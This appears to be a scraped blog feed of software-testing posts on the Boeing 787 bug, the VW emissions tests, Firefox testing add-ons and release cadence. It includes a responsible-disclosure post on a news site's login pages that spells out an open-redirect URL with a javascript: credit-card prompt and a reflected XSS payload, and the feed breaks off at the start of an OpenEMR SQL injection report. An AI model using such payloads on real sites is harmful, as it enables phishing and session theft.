e.g.:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-c535cUHnfVY/VmWfUP3YUnI/AAAAAAAAAms/vqw20hM80ig/s1600/30x1001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="http://2.bp.blogspot.com/-c535cUHnfVY/VmWfUP3YUnI/AAAAAAAAAms/vqw20hM80ig/s200/30x1001.png" width="5" />&nbsp;</a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">&nbsp;The image here is 30x1001 but the narrowness means the visible text is 30x100.</div><div class="separator" style="clear: both; text-align: left;">&nbsp; </div><div class="separator" style="clear: both; text-align: left;"><br /></div><br />http://www.investigatingsoftware.co.uk/2015/12/counting-images-fiirefox-add-on.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-6883451858887639167Fri, 04 Dec 2015 09:23:00 +00002015-12-04T01:34:53.220-08:00clockquestioningregulationstandardstestingLearning from the Boeing 787's broken software.<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: left;">Earlier this year Boeing 787 engineers were given some new instructions by the FAA (The US government's: Federal Aviation Authority). They were informed that if the aeroplane's electrical generators were left running for 248 days, they would enter fail-safe mode.&nbsp;</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">In plain English: they will stop producing electrical power. This short video looks into why that might be and how this information can hep us test our software.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/-glbYZByRXU/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/-glbYZByRXU?feature=player_embedded" width="320"></iframe></div><br /><br /><ul><li>The FAA directive is available <a href="https://www.federalregister.gov/articles/2015/05/01/2015-10066/airworthiness-directives-the-boeing-company-airplanes">on their website</a>.</li><li>A Guardian article: <a href="http://www.theguardian.com/business/2015/may/01/us-aviation-authority-boeing-787-dreamliner-bug-could-cause-loss-of-control">Boeing 787 bug could cause 'loss of control' eamliner-bug-could-cause-loss-of-control</a></li></ul>http://www.investigatingsoftware.co.uk/2015/12/the-boeing-787-and-its-broken-software.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-5480970014467330340Tue, 01 Dec 2015 10:17:00 +00002015-12-01T02:17:46.133-08:00automationbug reportsrubyScientific MethodtoolsBug AutomationIn many of my clients, more effort is spent on 'test automation' than on other forms of testing or quality assurance. That <i>can</i> be the right choice, for example, I worked on a Data Warehousing project where we needed to write <i>some</i> test automation before we could test the data and its processing.<br /><br />Many other projects in different technology areas also spend a lot of time on their test automation. To be precise, they spend an increasing amount of time fixing &amp; maintaining old 'tests' and 'frameworks'. <br /><br />There are great tools around to help us write these automated checks quickly. But as with many software systems: maintenance, in the long term, is where the time and money goes. That is why I'm surprised we don't use <i>short term</i> automation more. We have the skills.<br /><br />One good example of short term automation is <i>Bug Automation</i>. A simple script / executable that recreates or demonstrates a bug. This isn't a new idea, I've been doing it for years and I know other people have to. <br /><br />Its common on open source projects to report an issue with example code, to clarify the exact issue you are reporting. Its a quick way to demonstrate the issue.<br /><br />I'm <i>not</i> referring here to the idea of building a regression test suite from 'tests' (checks) from each bug fix. You can do that if you want, It can be very useful, but you are back to maintenance overhead.<br /><br />By <i>Bug Automation</i> I'm referring to a disposable script that proves the system is broken. We can <a href="https://explorable.com/falsifiability">falsify</a> the assumption that we have 'working' software. We <i>can't </i>prove the system is bug-free with our automation, but we <i>can</i> show its broken.&nbsp; <br /><br />The automation isn't there to indicate <i>when</i> we have fixed the issue - but to highlight that we, as a team, have <i>created</i> one.<br /><br />In many situations a quick chat, screen-shot or URL is enough to help a developer fix a bug. But not always. For example, A tool like <a href="http://www.bbsoftware.co.uk/BBTestAssistant/Support.aspx">BlueBerry Test Assistant</a> could help demonstrate a bug quicker than I can explain it. But in some contexts the best tool is code.<br /><br />For example: I discovered a<a href="http://www.investigatingsoftware.co.uk/2014/03/a-security-bug-in-symphonycms.html"> security flaw in an open source Content Management System</a> used by several large media corporations, including my client at the time.&nbsp; I could have described the issue to people, but that would have been a poor substitute to an actual demonstration.<br /><br />Its hard to persuade someone that their 'secure' random token generator isn’t random - its easier to show them.&nbsp; So I wrote some Bug Automation, and sent this along with a summary of the issue. (And together we figured out a more secure solution)<br /><br />Another simple example: Google has a minor bug whereby if you enter Hebrew or Arabic text (with white-space) the full stop on the 'Press Enter...' message is placed at the wrong end of the sentence. <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-2qBcKF9Yb-Q/VlxM0MuhACI/AAAAAAAAAiE/khlLnGDER0U/s1600/google_rtl_bug.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="60" src="http://4.bp.blogspot.com/-2qBcKF9Yb-Q/VlxM0MuhACI/AAAAAAAAAiE/khlLnGDER0U/s400/google_rtl_bug.png" width="400" /></a></div><br />While the issue isn't hard to describe, or screen grab (see above). Recreating the issue might not be so easy. Therefore we can create some simple Bug Automation, like <a href="https://github.com/phoughton/examples/blob/master/rtl_google_fail/hebrew_search_example.rb">this</a>. <br /><br />Other members of your team can run this script and see the issue on their own PC. They don't have figure out how to type Right To Left languages or battle an OS or bug tracking system that doesn’t like you to copy and paste such things. Used purely as a communication aid, It also doesn’t have the maintenance overhead of trying to maintain a 'proof' of a fix long term.<br /><br />Bug Automation is already a multimillion dollar industry, its called the <a href="http://www.wired.com/2015/04/therealdeal-zero-day-exploits/">Zero Day Exploit industry</a>. Unfortunately <i>that automation</i> is often used for nefarious purposes. But as an example of <a href="https://en.wikipedia.org/wiki/Positive_deviance">positive deviance</a>, it might be wise to pick-up on the clever things other developers &amp; testers are doing, and use them for ourselves and for good.<br /><br />http://www.investigatingsoftware.co.uk/2015/12/bug-automation.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-5432595256649828755Fri, 27 Nov 2015 12:26:00 +00002015-12-04T01:27:50.966-08:00exploratory testingquestioningregulationstandardsVW behaving badly.The EPA (The US government's Environmental Protection Agency) recently issued <a href="http://www2.epa.gov/vw">Notice of Violations</a> regarding the emissions from Volkswagen cars. Volkswagen is actually a group of brands, therefore the Notice affects other cars such as Audi, Porsche and Skoda.<br /><br />A lot of the focus has been on what was going on in Volkswagen, for example who knew what was being done? Did the VW testers know? Did they pass the details on etc. <br /><br />What interests me is the wider issue of how this could have been possible for so long?&nbsp; (<a href="http://www2.epa.gov/vw">Since 2009</a>)&nbsp; If so many cars were affected and for so long, why didn’t we hear about this sooner? Why isn’t there a team of people assigned to finding this stuff out... Oh wait, there is...<br /><br />In the UK these emissions tests are governed by the <a href="https://en.wikipedia.org/wiki/Vehicle_Certification_Agency">Vehicle Certification Agency</a>, answering to the Department of Transport. <br /><br />One might expect the <i>manufacturer</i> to be less inclined to investigate the cars emissions, after-all testing costs money (less profit). I might also expect them to <a href="http://www.carlist.my/news/how-volkswagen-became-victim-realpolitik/34539">exploit the test rules and tolerances</a> as best they could. This behaviour, while not ethical, is explainable given their motivations and incentives.<br /><br />I'm even understanding of the mistaken belief that they can 'prove' their cars are compliant. This is highlighted in this quote from <a href="https://en.wikipedia.org/wiki/Vauxhall_Motors">Vauxhall/Opel/GM</a> when the BBC asked about possible irregularities in their vehicle NOx emissions:<br /><br /><blockquote>"We have in-house testing that proves that the Zafira 1.6 meets all the legal emission limits." </blockquote><br />A curious statement, Given that the systems concerned are software controlled, and as Dijkstra put it: "Testing shows the presence, not the absence of bugs". <br /><br />An independent tax-funded <i>regulatory body</i> is in theory acting in <i>our</i> interests, the vehicle buyers and breathers of the emissions. So why did they not discover the issue? A closer look at the 'tests' themselves gives some clues. Here are a few points worth noting:<br /><br /><b>1)</b> The test is carried out in a <a href="http://www.smmt.co.uk/industry-topics/car-emissions-testing-in-the-uk/">controlled temperature of 20-30 degrees centigrade</a>. At first this might seem OK to non testers. But if you look-up the <i>average</i> temperatures, in the <i>hottest</i> month, of a few European locations:<br /><span style="font-family: &quot;courier new&quot; , &quot;courier&quot; , monospace;"><br /></span><span style="font-family: &quot;courier new&quot; , &quot;courier&quot; , monospace;">&nbsp;Bonn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; August&nbsp; 18°C (64°F)<br />&nbsp;London&nbsp;&nbsp;&nbsp;&nbsp; July&nbsp;&nbsp;&nbsp; 19°C (66°F)<br />&nbsp;Lisbon&nbsp;&nbsp;&nbsp;&nbsp; July&nbsp;&nbsp;&nbsp; 24°C (74°F) <br />&nbsp;Paris&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; July&nbsp;&nbsp;&nbsp; 20°C (68°F)<br />&nbsp;Brussels&nbsp;&nbsp; July&nbsp;&nbsp;&nbsp; 18°C (64°F)<br />&nbsp;Rome&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; July&nbsp;&nbsp;&nbsp; 26°C (78°F) <br />&nbsp;Vienna&nbsp;&nbsp;&nbsp;&nbsp; July&nbsp;&nbsp;&nbsp; 19°C (66°F)<br />&nbsp;Stockholm&nbsp; July&nbsp;&nbsp;&nbsp; 18°C (64°F)</span><br /><br />You begin to see that this rule is suspect. E.g.: In Paris, in the <u>hottest</u> month, approximately half the time will you meet this criteria in real life.<br /><br /><b>2)</b> The relevant <a href="http://www.smmt.co.uk/industry-topics/car-emissions-testing-in-the-uk/">UK/EU test dates back to 1996</a>. Some parts of the test<a href="http://www.bbc.co.uk/iplayer/episode/b06q6nh2/panorama-the-vw-emissions-scandal"> date back 40 years</a>.&nbsp; Odd, given that the Engine Control Units, usually responsible for managing emissions behaviour, were introduced in the 1980s &amp; 90s (&lt;40years ago).<br /><br /><b>3)</b> The procedure is highly predictable and repeatable - it always took <a href="http://www.bbc.co.uk/iplayer/episode/b06q6nh2/panorama-the-vw-emissions-scandal">20mins 20secs to complete</a>.<br /><br /><b>4)</b> The rules <a href="http://www.carlist.my/news/how-volkswagen-became-victim-realpolitik/34539">require the 'driver' to stay within 2km/h</a> (1.2mph) of an 'ideal' speed throughout the test.<br /><br /><br />In summary, old, highly scripted and rigidly enforced checks were performed in an unrealistic environment. The emissions-test isn't really <i>testing</i> at all. The procedure is a successful attempt to provide a repeatable scripted acceptance-test of a systems behaviour. <br /><br />A systems behaviour was developed so when the car was driven in a defined manner, all the checks passed. The car <i>can</i> pass the test, but this provides no indication as to whether this is normal behaviour, or what <i>might</i> occur in any number of other realistic situations.<br /><br />On a <a href="http://www.bbc.co.uk/iplayer/episode/b06q6nh2/panorama-the-vw-emissions-scandal">BBC Panorama programme</a>, A former Automotive Type Approval Engineer talking about how cars have been only passing the emissions tests in the most unrealistic of conditions, is quoted as saying:<br /><blockquote>"...Testing the wrong things, in the wrong way, for quite a while"</blockquote><br />This wasn’t testing, But it was done in the name of testing. Sound familiar?<br /><br />http://www.investigatingsoftware.co.uk/2015/11/vw-behaving-badly.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-1501787428768435664Mon, 23 Nov 2015 17:32:00 +00002015-11-27T06:13:27.368-08:00automationtoolsunicode'No More ASCII' Firefox Add-onMany of my clients have a multi-national (and multi-lingual) user base, and their software receives <i>input</i> from a range of devices, not just those configured to UK or US locales. The sites may also need to process and publish <i>content</i> that is 'non-ASCII'.<br /><br />So when I'm quickly testing a website or web application, I need to investigate how they handle inputs from a multitude of locales, quickly.<br /><br />That's why I created the <a href="https://addons.mozilla.org/addon/no-more-ascii-text-inserter/">No More ASCII, a Firefox Add-on</a>, it has a set of <i>stock</i> text strings from a range of languages and scripts. These have been chosen for their widespread use around the world, as well as their ability to highlight deficiencies in many web-sites. For example these features of the scripts can cause problems for ASCII/poor-Unicode implementations:<br /><ul><li>Right To Left text&nbsp; - Hebrew</li><li>Diacritics - Swedish</li><li>Non-Roman - Mandarin, Hindi etc.</li></ul>The text strings may not make 'sense' as some are partial sentences or Monty Python quotes. They are aimed to have a selection of characters that may not be well encoded by your software.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-Z0BOapBKon8/VlNNL-zrxPI/AAAAAAAAAg4/sjmmYX4WvR4/s1600/google_form_screen_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="287" src="http://1.bp.blogspot.com/-Z0BOapBKon8/VlNNL-zrxPI/AAAAAAAAAg4/sjmmYX4WvR4/s400/google_form_screen_1.png" width="400" /></a></div><br /><br />Here is an example of a web site ( <a href="http://www.telegraph.co.uk/search/?queryText=%E2%80%8F%D7%94%D7%A8%D7%97%D7%A4%D7%AA+%D7%A9%D7%9C%D7%99+%D7%9E%D7%9C%D7%90%D7%94+%D7%91%D7%A6%D7%9C%D7%95%D7%A4%D7%97%D7%99%D7%9D%E2%80%8E&amp;sort=relevant">The Telegraph</a> ) that doesn’t handle a Hebrew query of their articles very well:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-xwEDGpbYO2U/VlNJ-EnXxuI/AAAAAAAAAgs/Y4DzvSaQzfA/s1600/telegraph_hebrew_query.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://2.bp.blogspot.com/-xwEDGpbYO2U/VlNJ-EnXxuI/AAAAAAAAAgs/Y4DzvSaQzfA/s400/telegraph_hebrew_query.png" width="336" /></a></div><br /><br />Or take a look at the Firefox website. Queries for Mandarin Chinese characters return 'No results found.' But a search for Hindi script, returns 'Search is temporarily unavailable'. That looks like an issue i might want to investigate...<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/--5q-xK0XBfE/VlNSV373AUI/AAAAAAAAAhI/15ZRqfjbovE/s1600/mandarin_versus_hindi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="281" src="http://3.bp.blogspot.com/--5q-xK0XBfE/VlNSV373AUI/AAAAAAAAAhI/15ZRqfjbovE/s400/mandarin_versus_hindi.png" width="400" /></a></div><br /><br />The free add-on is available to <a href="https://addons.mozilla.org/firefox/addon/no-more-ascii-text-inserter/">download</a> now, and I hope to expand the list of languages/scripts available. Requests are welcome. Credit goes to <a href="https://en.wikipedia.org/wiki/Main_Page">Wikipedia</a> and <a href="http://www.omniglot.com/">Omniglot</a> for the text used.<br /><br /><br /><br /><br />http://www.investigatingsoftware.co.uk/2015/11/no-more-ascii-firefox-add-on.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-1429085221696885566Thu, 19 Nov 2015 13:45:00 +00002015-11-19T05:45:55.145-08:00automationtestingtoolsCounting Strings Firefox AddonA while back I <a href="http://www.investigatingsoftware.co.uk/2011/01/counting-strings.html">created a simple web based tool</a> that helped you create text strings of a specified length. The text strings are created to make it easy to tell their length even if they are truncated.<br /><br />The tool was based on a similar tool by James Bach, called <a href="http://www.satisfice.com/tools.shtml">perlclip</a>.<br /><br />I've now updated my Counting Strings script to be a free <b><a href="https://addons.mozilla.org/en-US/firefox/addon/counting-strings-addon/">Firefox add-on</a></b>. So you can now have it with you where ever you test online. You don't even need to restart your browser.<br /><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-fh2hRStpXws/Vk3QaXpAY4I/AAAAAAAAAgM/hMZeVExIGwc/s1600/screen_v1.2_3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="350" src="http://3.bp.blogspot.com/-fh2hRStpXws/Vk3QaXpAY4I/AAAAAAAAAgM/hMZeVExIGwc/s640/screen_v1.2_3.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Counting Strings opens right in your browser, without affecting your website.</td><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table><br /><br />http://www.investigatingsoftware.co.uk/2015/11/counting-strings-firefox-addon.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-3173266158803162095Wed, 07 Oct 2015 13:29:00 +00002015-10-21T03:20:46.418-07:00agilekanbanlearningscrumsystemBuild, Test, Ship, Learn, Rinse & repeat.Ever feel like your team is in a deadlock? The product owner wants <i>Gizmo+</i> to be shipped, your senior engineers are split between grokking Gizmo+ and fixing <i>Widget++</i>. Meanwhile the <a href="http://blogs.msdn.com/b/seliot/archive/2010/04/18/what-is-an-sdet.aspx">SDETs</a> are franticly updating automated checks/BDD scripts and exploratory testers are uncovering that <i>Widget+</i> and <i>Gizmo+</i> should have been named ...+10 given the number of <i>surprise bonus features</i> they are finding. As a consequence feature delivery can start to slow and quality is inevitably hit as difficult decisions are made on what to fix.<br /><br />The typical reactions to such a situation can depend on your project's context, but to highlight a few common ones:<br /><ul><li>Ramp up team size. </li><li>Push back on deadlines.</li><li>Push back on new features.</li><li>Delay releases until 'it all gets sorted' ...</li></ul>I don't have to break it to you that these options are 'far from optimal'. In summary they all revolve around costing more and delivering less (from my time as a programme manager I can tell you - thats what we call a <i>hard sell</i> ).<br /><br />I won't claim there is a 'magic bullet', because - there isn't. But lets try and break the problem down a little:<br /><ol><li>We can't seem to get enough <i>stuff</i> out the door</li><li>Our definition of 'enough <i>stuff</i>' seems to be growing</li><li>What <i>stuff</i> does get 'done', often needs 'redoing'</li><li>GO TO (1)</li></ol>Speak to your team, and you'll probably find a common feeling among the team is that they are 'overwhelmed' and 'have to much to do'. Hence the instinct many people have to just 'ramp up the team'. But you can interpret those statements in two ways. Another way to see the problem is, they 'have too much to do [all at once]'.<br /><br />A good analogy is the dishwasher. For example, We don't have a large kitchen, so we have a small or to be more precise: a <i>slimline</i> dish washer. Its a top of the range model complete with a confusing array of space age controls, and an ability to run extra quiet. But it doesn't have enough space to fit a whole days worth of dishes, cups etc. Now I could 'ramp up' to a bigger dishwasher. But thats going to get messy and expensive I'll have start plumbing in a new washer, remodeling the kitchen - replacing other equipment and fittings that work just fine right now.<br /><br />So My next option is to casually disregard the sensible arrangement of dishes suggested in the manual, and load the dishes in to something approaching the density of super-dense collapsing star. As you might imagine, the cleaning ability of the dishwasher is somewhat reduced. And a lot of the dishes end up needing to be re-done in the morning. Whats even worse, I can't easily tell which dishes were cleaned - and which are providing a nutritious environment for bacteria. I have to awkwardly examine each dish in turn. As each dish was crammed in at the last minute in an undocumented free-for-all - I can't even reliably automate some tests/checks to help with this.<br /><br />I lose many of the benefits of my machine as well, Its no-longer quiet and efficient, hugging a tree, healing my karma and cleaning my dishes in one go. Instead, I have to switch it to the options that translate roughly as 'noisy and inefficient' and 'i hate the planet'.<br /><br />The following day, I of course have a slightly larger pile of dishes to clean. The new days dishes and the <a href="https://en.wikipedia.org/wiki/Failure_demand">failure-demand</a> I inherited from the day before. Just like your real feature releases, this is more work and <i>reputational</i> harm for your team.<br /><br />Why not run the dishwasher twice? After breakfast, Fill the system to a level that seems to deliver and run it. If you haven't quite filled all the slots, thats not a problem - run it anyway. Why? because you are evening out the flow of dishes. By under-loading the dishwasher in the morning, you don't have to over-load it in the evening. Inspecting the product becomes quicker and easier to do.<br /><br /><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-1KHhtNWWzdA/VhUOaVGo67I/AAAAAAAAAe4/YEhdHUdmuT8/s1600/nazarewave.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="266" src="http://4.bp.blogspot.com/-1KHhtNWWzdA/VhUOaVGo67I/AAAAAAAAAe4/YEhdHUdmuT8/s400/nazarewave.jpg" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Your next release cometh.</td></tr></tbody></table><br />This approach provides a steady cadence to your engineers and testers. The tsunami of each big cycle becomes a more manageable ebb and flow. Getting those fixes and features out cleanly and regularly helps provide regular feedback to the team.<br /><br />Did we develop something wrong? or miss a bug? we'll know sooner and can fix our team to stop it happening again [sooner]. Leave it a while, and soon the list of missed and broken things becomes something to have long and painful meetings about.<br /><br /><br />Frequent releases, can help deliver this calmer, more stable development and test process, where some features are delivered sooner and the team isn't trying to build a large complicated system, with every release. They can focus on developing and testing a small set of changes, against the back drop of a relatively stable system.<br /><br /><br /><br />http://www.investigatingsoftware.co.uk/2015/10/build-test-ship-learn-rinse-repeat.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-764873851794778914Mon, 11 Aug 2014 09:29:00 +00002014-08-11T03:29:06.678-07:00securityvulnerabilityXSS and Open Redirect on Telegraph.co.uk Authentication pages<br />I recently found a couple of security issues with the Telegraph.co.uk website. The site contained an Open redirect as well as an XSS vulnerability. These issues were in the authentication section of the website, https://auth.telegraph.co.uk/ . The flaws could provide an easy means to phish customer details and passwords from unsuspecting users.<br /><br />I informed the telegraph's technical management, as part of a responsible disclosure process. The telegraph management forwarded the issue report and thanked me the same day. (12th May 2014)<br /><br />The fix went live between the 11th and 14th of July, 2 months after the issue was reported.<br /><br /><h3>The details:</h3>The code served via auth.telegraph.co.uk appeared to have 2 vulnerabilities, an open redirect and a reflected Cross Site Scripting (XSS) vulnerability. Both types of vulnerabilty are in the OWASP Top 10 and can be used to manipulate and phish users of a website. As well has potentially hijack a user's session.<br /><br /><span style="font-family: inherit;">Compromised URLs, that exploit these flaws would have typically have been circulated to potential victims, in emails, via twitter or facebook. T</span>he fact the web-pages were served via HTTPS, provided no <i>added</i> protection for the user. HTTPS was encrypting an already compromised page.<br /><br />The <b>Open Redirect</b> was on the reenterPassword.htm page, and allowed any URL to be entered via a URL argument and used to override the desired value. <br /><br />Simply replacing the URL with another site is one<tt><b> </b></tt><span style="font-family: inherit;">simple</span> attack:<br /><br /><span style="font-family: &quot;Courier New&quot;,Courier,monospace;">https://auth.telegraph.co.uk/sam-ui/reenterPassword.htm?redirectSuccess=<b><span style="color: red;">http://www.example.com</span></b></span><br /><br />In this example,&nbsp; the page included this HTML:<br /><pre class="brush: xml"> <br />&lt;input name="redirectSuccess" type="hidden" value="<span style="color: red;"><b>http://www.example.com</b></span>" /&gt;<br /></pre><br />As the Open redirect was entirely unvalidated, an attacker could even incorporate javascript directly into the link:<br /><br /><span style="font-family: &quot;Courier New&quot;,Courier,monospace;">https://auth.telegraph.co.uk/sam-ui/reenterPassword.htm?redirectSuccess=<span style="color: red;"><b>javascript:prompt%28%27Enter%20Credit%20card%20number:%27%29</b></span></span><br /><br />Here the HTML returned includes our 'dodgy' example request for the customers credit card number:<br /><pre class="brush: xml"> <br />&lt;a href="<span style="color: red;"><b>javascript:prompt('Enter Credit card number:')</b></span> " title="return to last page visited"&gt;Back&lt;/a&gt;<br /></pre><div class="separator" style="clear: both; text-align: center;"></div><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-lZ4xC7d5wTQ/U-iKpaY3HWI/AAAAAAAAARY/Q1CHejY6Vus/s1600/enter_cc_num_big.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://1.bp.blogspot.com/-lZ4xC7d5wTQ/U-iKpaY3HWI/AAAAAAAAARY/Q1CHejY6Vus/s1600/enter_cc_num_big.png" height="201" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">A screen capture of the affected page.</td></tr></tbody></table>More details on this sort of vulnerability and how it can be mitigated can be found on the <a href="https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards">OWASP site</a>.<br /><br />The <b>Reflected XSS</b> issue was discovered on the login.htm page, and allowed a URL and arbitrary javascrpt code to be included in the plink URL argument.<br /><br />An <i>attack</i> URL might look like this:<br /><br /><span style="font-family: &quot;Courier New&quot;,Courier,monospace;">https://auth.telegraph.co.uk/sam-ui/login.htm?logintype=lite&amp;plink=<span style="color: red;"><b>http://www.example.com%22%3E%3CFORM%20onclick=%22alert%28%27HACKED%27%29%22%20name=%22</b></span></span><br /><br />And resulted in the following HTML being inserted into the page:<br /><pre class="brush: xml"> <br />&lt;a href="<span style="color: red;"><b>http://www.example.com"&gt;&lt;FORM onclick="alert('HACKED')" name="</b></span>?command=slideUpLight" id="link_id" class='closeLink' title="close the login window"&gt;&lt;/a&gt;<br /><br /></pre>As you can see, clicking on the Form would have resulted in the alert message 'HACKED' being presented to the customer. In a real exploit, the attackers might choose to insert more subtle code or requests for information into the page to steal or phish a users details or session.<br /><br /><br />More details on this sort of vulnerability and how it can be mitigated can be found on the <a href="https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_%28XSS%29">OWASP site</a>.<br /><br />Details on a similar flaw in the Guardian's web site, found last yeah can be found <a href="http://www.investigatingsoftware.co.uk/2013/07/web-application-security-testing.html">here</a>. <br /><br /><br />http://www.investigatingsoftware.co.uk/2014/08/xss-and-open-redirect-on-telegraphcouk.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-6280604432624407736Thu, 12 Jun 2014 19:55:00 +00002014-06-30T10:41:30.073-07:00securityvulnerabilitySQL Injection security flaw in OpenEMR medical records system.<div dir="ltr" id="docs-internal-guid-7f3a45c7-e06a-0715-0ca4-ae2ee9e2b1bd" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">I recently examined a popular open source medical records system named <a href="http://www.open-emr.org/">OpenEMR</a></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">. A quick review of the app uncovered a <a href="https://www.owasp.org/index.php/SQL_Injection">SQL Injection</a></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"> vulnerability in the application, that would allow an attacker to execute their own SQL commands against the system. The attack is relatively textbook and its detection and exploitation are outlined below. Firstly, a description of the product:</span></div><blockquote class="tr_bq"><b>Profile: OpenEMR</b> <i>is a medical practice management software which also supports Electronic Medical Records (EMR). It is ONC Complete Ambulatory EHR certified and it features fully integrated electronic medical records, practice management for a medical practice, scheduling and electronic billing.<br><br>The server side is written in PHP and can be employed in conjunction with a LAMP "stack", though any operating systems with PHP-support are also supported.<br>...<br>In the US, it has been estimated that there are more than 5,000 installations of OpenEMR in physician offices and other small healthcare facilities serving more than 30 million patients. Internationally, it has been estimated that OpenEMR is installed in over 15,000 healthcare facilities, translating into more than 45,000 practitioners using the system which are serving greater than 90 million patients.</i><br><br>Source: Wikipedia: <a href="http://en.wikipedia.org/wiki/OpenEMR">http://en.wikipedia.org/wiki/OpenEMR</a></blockquote><div dir="ltr" id="docs-internal-guid-7f3a45c7-e075-b527-b011-3b18629fc19b" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: small;"><span style="background-color: transparent; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">Affected versions:</span><span style="background-color: transparent; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"> OpenEMR 4.1.2 Patch 5 (and likely previous patches &amp; releases)</span></span></div><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: small;"><span style="background-color: transparent; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">Fix in: </span><span style="background-color: transparent; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">OpenEMR 4.1.2 Patch 6&nbsp;</span></span></div><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><br></div><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">As usual I reviewed the system as a user, browsing features and recording my actions in my intercepting proxy (BurpSuite). This gave me a good idea of the default system features and usage model. Combined with review through the online documentation, I gained a broad idea 